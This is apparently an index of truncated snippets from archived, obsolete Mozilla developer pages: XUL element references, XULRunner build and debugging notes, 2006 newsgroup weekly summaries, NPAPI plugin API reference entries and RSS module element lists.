abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
triple - Archive of obsolete content
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
vbox - Archive of obsolete content
ArchiveMozillaXULvbox
abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
wizard - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
wizardpage - Archive of obsolete content
, , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
Building XULRunner - Archive of obsolete content
a basic minimal mozconfig which will build a release configuration of xulrunner is: mk_add_options moz_co_project=xulrunner mk_add_options moz_objdir=@topsrcdir@/obj-xulrunner ac_add_options --enable-application=xulrunner #uncomment the following line if you don't want to build javaxpcom: #ac_add_options --disable-javaxpcom cvs tags and xulrunner versions older xulrunner releases where tagged in cvs with (for instance xulrunner_1_8_0_5_release ) up to version 1.8.0.5 the cvs repository does not have specific tags for xulrunner anymore.
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
mk_add_options moz_co_projects=browser mk_add_options moz_objdir=@topsrcdir@/../mccoybase # options for 'configure' (same as command-line options).
Debugging a XULRunner Application - Archive of obsolete content
ttp://article.gmane.org/gmane.comp.mozilla.devel.jsdebugger/859 i extracted venkman.jar, opened venkman\content\venkman\venkman-scripts.xul and changed: @@ -54,11 +54,11 @@ <script src="chrome://global/content/nstransferable.js" /> <script src="chrome://global/content/nsclipboard.js" /> <script src="chrome://global/content/nsdraganddrop.js" /> - <script src="chrome://communicator/content/contentareautils.js" /> - <script src="chrome://communicator/content/contentareadd.js" /> - <script src="chrome://communicator/content/findutils.js" /> - <script src="chrome://browser/content/contentareautils.js" /> + <script src="chrome://global/content/contentareautils.js" /> + <script src="chrome://global/content/contentareadd.js" /> <scrip...
How to enable locale switching in a XULRunner application - Archive of obsolete content
here is a code snippet showing how this is done: the definition of the xul control: <listbox id="locale-listbox"> <!-- generated list items go in here --> </listbox> <button label="&switchlocale.button;" oncommand="changelocale()"/> the javascript code to populate the control: try { // query available and selected locales var chromeregservice = components.classes["@mozilla.org/chrome/chrome-registry;1"].getservice(); var xulchromereg = chromeregservice.queryinterface(components.interfaces.nsixulchromeregistry); var toolkitchromereg = chromeregservice.queryinterface(components.interfaces.nsitoolki...
Using LDAP XPCOM with XULRunner - Archive of obsolete content
n, nsimodule* *aresult) { nsresult rv; nscomptr<nsifile> libraries; rv = alocation->getparent(getter_addrefs(libraries)); if (ns_failed(rv)) return rv; nscomptr<nsilocalfile> library(do_queryinterface(libraries)); if (!library) return ns_error_unexpected; library->setnativeleafname(ns_literal_cstring("libraries")); library->appendnative(ns_literal_cstring("dummy")); // loop through and load dependent libraries for (char const *const *dependent = kdependentlibraries; *dependent; ++dependent) { library->setnativeleafname(nsdependentcstring(*dependent)); prlibrary *lib; library->load(&lib); // 1) we don't care if this failed!
Make your xulrunner app match the system locale - Archive of obsolete content
democracy does this by creating a command line handler called democracyclh, and then creating a new object of our pybridge component.
XULRunner/Old Releases - Archive of obsolete content
community contributed builds of xulrunner 1.8.1.3 these builds are contributed by the eclipse atf community and are intended for embedding.
What XULRunner Provides - Archive of obsolete content
xpcom networking gecko rendering engine dom editing and transaction support (no ui) cryptography xbl (xbl2 planned) xul svg xslt xml extras (xmlhttprequest, domparser, etc.) web services (soap) auto-update support (not yet complete) type ahead find toolbar history implementation (the places implementation in the 1.9 cycle) accessibility support ipc services for communication between gecko-based apps (not yet complete) storage/sqlite interfaces user interface features the following user interface is supplied by xulrunner, and may be overridden by embedders under certain circumstances: apis and user interface for installing, uninstalling, and upgrading xul applications.
calIFileType - Archive of obsolete content
summary the califiletype interface provides information about a specific file type.
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.accessibility - oct 6, 2006 announcements legal precedent set for web accessibility us federal court rules that retailers may be sued if its website is inaccsessible.
mozilla-dev-accessibility - Archive of obsolete content
weekly summaries 2006-10-06 2006-11-10 frequently asked questions read frequently asked questions ...
mozilla-dev-apps-calendar - Archive of obsolete content
weekly summaries friday september 29, 2006 friday october 6, 2006 ...
mozilla-dev-apps-firefox - Archive of obsolete content
weekly summaries friday september 29, 2006 friday october 6, 2006 friday october 13, 2006 friday october 20, 2006 friday november 3, 2006 friday november 10, 2006 friday november 17, 2006 friday november 24, 2006 friday december 1, 2006 ...
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - september 22-29, 2006 announcements development for thunderjudge extension is put on hold the author of the thunderjudge extension is currently putting the development of the extension on hold due to several issues (more details available at the website).
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - october 14-20, 2006 announcements eudora goes open source both qualcomm and mozilla will participate in enhancing the capabilities and ease of use of both eudora and thunderbird.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - october 21-27, 2006 announcements none for this week.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - october 28 - november 03, 2006 announcements none for this week.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 4-10, 2006 announcements none for this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 18 - 24, 2006 announcements none for this week discussions issues with 2.0 features there's renewed discussion on why certain features were removed in the 2.0 release, and the addition of support for s/mime and not pgp/gpg encryption.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 18 - 24, 2006 announcements none for this week discussions how to display toolbar button image within the customization palette?
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.builds - october 7th to october 13th 2006 cannot build ff 1.5.0.7 on linux x86_64 werner flamme cannot build firefox 1.5.0.7 on his suse linux 10.0 x86_64 box.
mozilla-dev-extensions - Archive of obsolete content
weekly summaries 2006-09-29 2006-10-06 2006-10-13 2006-10-20 2006-10-27 2006-11-03 2006-11-10 2006-11-17 2006-11-24 2006-12-01 2006-12-08 weekly faq week 2006-09-29 questions and answers from the newsgroup week 2006-10-06 questions and answers from the newsgroup week 2006-10-13 questions and answers from the newsgroup week 2006-10-20 questions and answers from the newsgroup week 2006-10-27 questions and answers from the newsgroup week 2006-11-03 questions and answers from the newsgroup week 2006-11-10 questions and answers from the newsgroup week 2006-11-17 questions and answers from the newsgroup week 2006-11-24 questions and answers from the newsgroup week 2006-12-01 questions and answers from the newsgroup week 2006-12-08 questions ...
2006-09-22 - Archive of obsolete content
summary: mozilla.dev.i18n - feb 2nd - sep 22nd, 2006 announcements testing a dummy greek bon echo nsis installer bug #69230: accelerators should not be affected by keyboard group/level proposal of code changes for l10n in firefox 3 discussions thai language support: how can we add thai as an official localized build?
mozilla-dev-i18n - Archive of obsolete content
weekly summaries 2006-09-22 ...
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.l10n - october 6, 2006 announcements english united states dictionary english united states dictionary for firefox 2.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.l10n - october 27, 2006 announcements drafts of eulas for several lanugages available for review drafts of eulas for several lanugages available for review final ff release already announced a french site has already announced final ff 2.0 and gives download links on its own site.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.l10n - november 10, 2006 announcements seamonkey 1.0.5 in belarusian belarusian [be-by] localization for seamonkey 1.0.5 is available now.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.l10n - november 17, 2006 announcements seamonkey 1.1b in russian (ru-ru) seamonkey 1.1b in russian (ru-ru) is uploaded to ftp.mozilla.org seamonkey 1.0.6 in russian (ru-ru) seamonkey 1.0.6 in russian (ru-ru) is uploaded to ftp.mozilla.org seamonkey 1.0.6 in czech (cs-cz) seamonkey 1.0.6 in czech (cs-cz) is uploaded to ftp.mozilla.org seamonkey 1.0.6 he-il seamonkey 1.0.6 he-il is released.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.l10n - december 1, 2006 announcements langpacks for sunbird nightly builds available for testing langpacks for sunbird nightly builds available for testing seamonkey 1.1 late string changes for mail content policy the fix to bug 360288 has landed.
2006-12-08 - Archive of obsolete content
summary: mozilla.dev.l10n - december 8, 2006 announcements mozilla sponsored server for l10n the server for mozilla sponsored server for l10n should be up and running soon.
mozilla-dev-l10n - Archive of obsolete content
weekly summaries 2006-10-06 2006-10-13 2006-10-20 2006-10-27 2006-11-3 2006-11-10 2006-11-17 2006-11-24 2006-12-01 2006-12-08 ...
2006-10-20 - Archive of obsolete content
decommissioning sparky on friday preed wants to get rid of sparky (a linux build box) and wants to know if there are reasons wy not to do it.
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.platform - september 30th to october 6th 2006 announcements mike schroepfer is attending a vista compatibility lab with some other people this week.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.platform - october 7th to october 13th 2006 announcements no announcments this week other traffic javascript package system for 1.9/ff3 on sun, oct 8 2006 robert sayre inquires about the javascript package system for 1.9 for firefox 3, robert would like to know if there is any chance we'll get this?
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.platform - october 21st to october 27th 2006 announcements no announcments this week.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.platform - october 28th - november 3rd, 2006 announcements developer chat with brendan eich!
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.platform - november 25th - december 1st, 2006 announcements no announcements this week traffic alex vincent posts that he has started a xulrunner/mac faq here on mozdev.
2006-18-24 - Archive of obsolete content
summary: mozilla.dev.platform - november 18th - november 24th, 2006 announcements no announcements this week traffic xulrunner: <browser> not allowing javascript popup windows b notes that when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box and asks what needs to be implement.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.quality - october 6-october 13, 2006 announcements none discussions appropriate for me to assign a bug?
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.quality - october 13-october 20, 2006 announcements completed rc3 testing - the key testing activities for rc3 has been completed.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.quality - november 4-november 10, 2006 announcements qmo blog at quality.mozilla.org - the mozilla qa team has decided to go with joomla!
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.quality - november 10-november 17, 2006 announcements none discussions none meetings none authors mark d'souza (mdsouza) mohamed attar (mojo) ...
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.quality - november 18-november 24, 2006 announcements none discussions firefox 1.5.0.7 on linux x86_64 - someone is having a problem with xhttprequest.
mozilla-dev-quality - Archive of obsolete content
weekly summaries september 29, 06 october 6, 2006 october 13, 2006 october 20, 2006 october 27, 2006 november 3, 2006 november 10, 2006 november 17, 2006 november 24, 2006 december 1, 2006 ...
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.security - september 30, 2006 to october 6, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.security - october 7, 2006 to october 13, 2006 return to mozilla-dev-security announcements none during this week.
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.security - october 14, 2006 to october 20, 2006 return to mozilla-dev-security announcements none during this week.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.security - october 21, 2006 to october 27, 2006 return to mozilla-dev-security announcements none during this week.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.security - november 4, 2006 to november 10, 2006 return to mozilla-dev-security announcements none during this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.security - november 18, 2006 to november 24, 2006 return to mozilla-dev-security announcements none during this week.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.security - november 25, 2006 to december 1, 2006 return to mozilla-dev-security announcements none during this week.
mozilla-dev-security - Archive of obsolete content
weekly summaries september 29, 2006 october 6, 2006 october 13, 2006 october 20, 2006 october 27, 2006 november 3, 2006 november 10, 2006 november 17, 2006 november 24, 2006 december 1, 2006 ...
2006-09-29 - Archive of obsolete content
nothing to summarize this week as there was no summary and all questions were left unanswered.
2006-10-06 - Archive of obsolete content
nothing to summarize this week as there was no summary and all questions were left unanswered.
2006-10-13 - Archive of obsolete content
nothing to summarize this week, see faq instead.
2006-11-03 - Archive of obsolete content
announcements developer chat with javascript developer brendan eich on tuesday, november 7th at 10am pst (utc-8) brendan eich and some special guests will be hosting a developer chat about new technologies comming to mozilla 2.
2006-11-10 - Archive of obsolete content
discussion spidermonkey for the server side a user frusturated by the difference in programming languages between client and server asks if there is a javascript server-side framework.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.tech.layout september 22-29, 2006 announcements no announcements for this week.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.tech.layout - october 21 - october 27, 2006 announcements none this week.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.tech.layout - october 28 - november 3, 2006 announcements new reflow branch off of trunk l.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 4 - november 10, 2006 announcements none this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 17 - november 24, 2006 announcements none this week.
2006-12-24 - Archive of obsolete content
summary: mozilla.dev.tech.layout november 24 -december 1, 2006 announcements none this week.
2006-12- 02 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 24 2006 - december 2, 2006 announcements none this week.
2006-12- 08 - Archive of obsolete content
summary: mozilla.dev.tech.layout - december 2, 2006 - december 8, 2006 announcements none this week.
2006-09-06 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 06-13, 2006 announcements none during this week.
2006-09-22 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - sept 22-29, 2006 announcements none during this week.
2006-09-30 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - sept 30- oct 5, 2006 announcements build a xpcom component on mac os x benjamin smedberg confirmed that this tutorial http://www.iosart.com/firefox/xpcom/ is misleading as it uses the standalone glue (-dxpcom_glue) for components, which is not recommended.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 13-20, 2006 announcements none during this week.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 21-27, 2006 announcements none during this week.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 04-nov 10, 2006 announcements xptcall changes in process - ports owners needed if you maintain an xptcall port, you are needed to submit a patch to that bug 349002 with xptcall updates.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - nov 11-nov 17, 2006 announcements none during this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - nov 18-nov 24, 2006 announcements none during this week.
2006-11-3 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 28-nov 3, 2006 announcements none during this week.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - nov 25- dec 01, 2006 announcements none during this week.
2006-12-08 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - dec 02- dec 08, 2006 announcements none during this week.
2006-09-22 - Archive of obsolete content
summary: mozilla.dev.tech.xul - sept 22-29, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.tech.xul - sept 22-29, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.tech.xul - sept 29-oct 06, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 07-oct 13, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 14-oct 20, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 21-oct 27, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 28-nov 3, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 4-nov 10, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 18-nov 24, 2006 return to mozilla-dev-tech-xul announcements none during this week.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 25-dec 01, 2006 return to mozilla-dev-tech-xul announcements none during this week.
External resources for plugin creation - Archive of obsolete content
refox, safari, opera, google chrome, qtwebkit and any other web browser that supports the "netscape plugin api", npapi articles, information, and tutorials npapi has been around a very long time, and there have been many attempts to distill down useful information on creating them: colonelpanic.net building a firefox plugin - part one: discusses the difference between npapi and npruntime and summarizes the basic apis needed to create a plugin building a firefox plugin - part two: discusses the basic lifecycle of a npapi plugin building a firefox plugin - part three: discusses npobjects and how to use them memory management in npapi: discusses how memory is managed in a npapi plugin browser plugins vs extensions (add-ons) -- the difference: discusses the oft-misunderstood difference betwee...
Logging Multi-Process Plugins - Archive of obsolete content
from within a command prompt: c:\> set nspr_log_modules=ipcplugins:5 c:\> set nspr_log_file=c:\plugins.log c:\> cd c:\program files\mozilla firefox c:\> firefox.exe the log file will be saved to c:\plugins.log (or wherever nspr_log_file is set).
Monitoring plugins - Archive of obsolete content
summary a new component of the plugin system is now available to measure how long it takes plugins (e.g., adobe flash) to execute their calls.
NPAnyCallbackStruct - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary note: this structure is only used on unix platforms.
NPByteRange - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents a particular range of bytes from a stream.
NPClass - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary npclass is a structure that holds a set of pointers to functions that make up the behavior of an instance of an npclass (i.e.
NPEmbedPrint - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary substructure of npprint that contains platform-specific information used during embedded mode printing.
NPEvent - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents an event passed by npp_handleevent() to a windowless plug-in.
NPIdentifier - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary npidentifier is an opaque type used for method and property identifiers, such as strings or integers.
NPN_CreateObject - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary allocates a new npobject.
NPN_Enumerate - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary gets the names of the properties and methods of the specified npobject.
NPN_Evaluate - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary evaluates a script in the scope of the specified npobject.
NPN_ForceRedraw - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary asks the plugin host to immediately (synchronously) repaint invalid areas.
NPN_GetIntIdentifier - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary returns an opaque identifier for the integer that is passed in.
NPN_GetProperty - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary gets the value of a property on the specified npobject.
NPN_GetStringIdentifier - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary returns an opaque identifier for the string that is passed in.
NPN_GetStringIdentifiers - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary returns an array of opaque identifiers for the names that are passed in.
NPN_GetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary provides information to a plugin which is associated with a given url, for example the cookies or preferred proxy.
NPN_HasMethod - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary determines whether or not the specified npobject has a particular method.
NPN_HasProperty - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary determines whether or not the specified npobject has a particular property.
NPN_IdentifierIsString - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary determines whether or not an identifier is a string.
NPN_IntFromIdentifier - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary returns the integer value corresponding to the given integer identifier.
NPN_InvalidateRegion - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary invalidates the specified drawing region prior to repainting or refreshing a windowless plug-in.
NPN_Invoke - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary invokes a method on the given npobject.
NPN_InvokeDefault - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary invokes the default method, if one exists, on the given npobject.
NPN_MemAlloc - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary allocates memory from the browser's memory space.
NPN_MemFlush - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary note: this function is only implemented on mac os x.
NPN_MemFree - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary deallocates a block of allocated memory.
NPN NewStream - Archive of obsolete content
summary requests the creation of a new data stream produced by the plug-in and consumed by the browser.
NPN_ReleaseObject - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary decrements the reference count of the given npobject.
NPN_ReleaseVariantValue - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary npn_releasevariantvalue() releases the value in the given variant.
NPN_ReloadPlugins - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary reloads all of the installed plugins.
NPN_RemoveProperty - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary removes a property from the specified npobject.
NPN_RequestRead - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary requests a range of bytes from a seekable stream.
NPN_RetainObject - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary increments the reference count of the given npobject.
NPN_SetException - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary a plugin can call this function to indicate that a call to one of the plugin's npobjects generated an error.
NPN_SetProperty - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary sets the value of a property on the specified npobject.
NPN_SetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary allows a plugin to change the stored information associated with a url, in particular its cookies.
NPN_Status - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary lets a plug-in display a message on the browser's status line.
NPN_UTF8FromIdentifier - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary returns the utf-8 string corresponding to the given string identifier.
NPN_UserAgent - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary returns the browser's user agent field.
NPN_Version - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary lets plugins obtain version information, both of the plug-in api and of the browser itself.
NPN_Write - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary pushes data into a stream produced by the plug-in and consumed by the browser.
NPObject - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary npobject is a structure that holds a pointer to an npclass and an integer reference count, and possibly also implementation specific (i.e.
NPP - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents a single instance of a plug-in.
NPP_Destroy - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary deletes a specific instance of a plug-in.
NPP_GetValue - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary allows the browser to query the plug-in for information.
NPP_HandleEvent - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary delivers a platform-specific window event to the instance.
NPP_Print - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary requests a platform-specific print operation for an embedded or full-screen plug-in.
NPP_SetValue - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary implemented by plugins.
NPP_SetWindow - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary tells the plug-in when a window is created, moved, sized, or destroyed.
NPP_StreamAsFile - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary provides a local file name for the data from a stream.
NPP_WriteReady - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary determines maximum number of bytes that the plug-in can consume.
NPPrint - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary contains information the plug-in needs to print itself in full-page or embedded mode.
NPPrintCallbackStruct - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary contains information required by the platformprint field of the npembedprint structure during embedded mode printing on unix systems.
NPRect - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary represents a rectangular area of a plug-in's content area.
NPRegion - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary represents a platform-defined region of a page.
NPSavedData - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary block of instance information saved after the plug-in instance is deleted; can be returned to the plug-in to restore the data in future instances of the plug-in.
NPSetWindowCallbackStruct - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary note: this structure is only used on unix platforms.
NPStream - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents a stream of data either produced by the browser and consumed by the plug-in, or produced by the plug-in and consumed by the browser.
NPString - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary npstring is a struct that holds a pointer to a sequence of 8-bit units (nputf8) making up a utf-8 string, and the number of 8-bit units in the utf-8 string.
NPUTF8 - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary nputf8 is a byte representing an 8-bit unit of a utf-8 character.
NPVariant - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary npvariant is a struct that holds a value and the type of that value.
NPVariantType - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary npvarianttype is an enumeration that is used to identify the data type of an npvariant structure.
NPWindow - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary contains information about the target into which the plug-in instance can draw.
NP_GetValue - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary allows the browser to query the plug-in for information.
NP_Initialize - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary provides global initialization for a plug-in.
NP_Port - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary used on mac os only contains information required by the window field of an npwindow structure.
NP_Shutdown - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary provides global deinitialization for a plug-in.
NPAPI plugin reference - Archive of obsolete content
npn_forceredraw asks the plugin host to immediately (synchronously) repaint invalid areas.
The First Install Problem - Archive of obsolete content
the recommended <object> attribute to set is still either "type" or "data".) advantage: we now no longer have ambiguity in determining which plugin handles what mimetype, because now the plugin has been invoked using the classid attribute of the object tag, which is in compliance with the html 4.01 specification for use of the object tag.
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
it's recommended that you have a look at the gecko plugin api reference since this document will include information that assumes that you are already familiar with the way that plugins are currently hosted as well as the apis.
Element - Archive of obsolete content
ArchiveRSSModuleSlashElement
a b c <slash:comments> (rss slash module comments element) d <slash:department> (rss slash module department element) e f g h <slash:hit_parade> (rss slash hit parade department element) i j k l m n o p q r s <slash:section> (rss slash module section element) t u v w x y z ...
Element - Archive of obsolete content
a b c <wfw:comment> (rss well-formed web module comment element) <wfw:commentrss> (rss well-formed web module comment rss element) d e f g h i j k l m n o p q r s t u v w x y z ...
Module - Archive of obsolete content
name common prefix status release date author atomic rss atom july 27, 2005 tim bray blogchannel september 17, 2002 dave winer content content creativecommons cc december 16, 2002 dave winer dublin core dc slash slash well-formed web wfw joe gregorio and chri...
Use Case - Archive of obsolete content
rss use cases this section contains common rss use cases.
Element - Archive of obsolete content
